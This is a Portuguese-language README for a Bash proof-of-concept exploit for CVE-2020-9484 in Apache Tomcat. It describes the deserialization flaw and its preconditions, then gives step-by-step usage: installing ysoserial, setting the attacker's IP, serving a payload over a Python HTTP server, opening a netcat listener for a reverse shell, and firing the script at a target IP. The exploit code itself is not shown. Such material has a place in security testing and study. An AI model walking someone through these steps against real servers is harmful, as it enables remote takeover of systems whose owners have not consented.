
Exploit de prova de conceito em Bash para CVE-2020-9484 que permite execução remota de código no Apache Tomcat através de desserialização insegura em uploads de arquivos, com geração de payload de shell reverso.
O Apache Tomcat 9.0.27 é vulnerável à Execução Remota de Código com o CVE-ID CVE-2020-9484. Outras versões também podem ser afetadas. Testado no Kali 2020.4 e JDK 8. Este script bash é uma simples prova de conceito. Apenas para fins educacionais.
A vulnerabilidade permite que um atacante remoto execute código arbitrário no sistema alvo.
A vulnerabilidade existe devido à validação insegura de entrada ao processar dados serializados nos nomes de arquivos carregados. Um atacante remoto pode passar um nome de arquivo especialmente criado para a aplicação e executar código arbitrário no sistema alvo.
A exploração bem-sucedida desta vulnerabilidade pode resultar no comprometimento total do sistema vulnerável, mas requer que o servidor esteja configurado para usar PersistenceManager com um FileStore e que o atacante conheça o caminho relativo do arquivo a partir do local de armazenamento.
Para usar o script, é necessário o yoserial. Para instalá-lo:
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
Se você já tiver o yoserial instalado, certifique-se de renomeá-lo para "yosorial-master.jar".
Para instalar o script, digite:
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
Para abrir o menu de ajuda, digite:
./CVE-2020-9484.sh --help
ou
./CVE-2020-9484.sh -h
Primeiro, abra o script e coloque seu próprio endereço IP na linha 14:
remote_ip="10.10.16.180" # altere isso
Este script cria os arquivos "payload.sh", "downloadPayload.session", "chmodPayload.session" e "executePayload.session" no mesmo diretório em que você está atualmente. Para usar o exploit, você precisa iniciar um simples listener na porta 80. Por exemplo, uso com Python3 (inicie na mesma pasta onde você executa o script):
sudo python3 -m http.server 80
Além disso, certifique-se de iniciar um listener netcat na porta 4444:
nc -nvlp 4444
Agora execute o script com o endereço IP do sistema alvo que você deseja atacar:
./CVE-2020-9484.sh target-ip
Se não funcionar, certifique-se de usar JDK 8. Para testar qual versão você usa, digite:
java -version
Pode não funcionar no JDK versão 12 ou superior. Leia mais sobre isso aqui.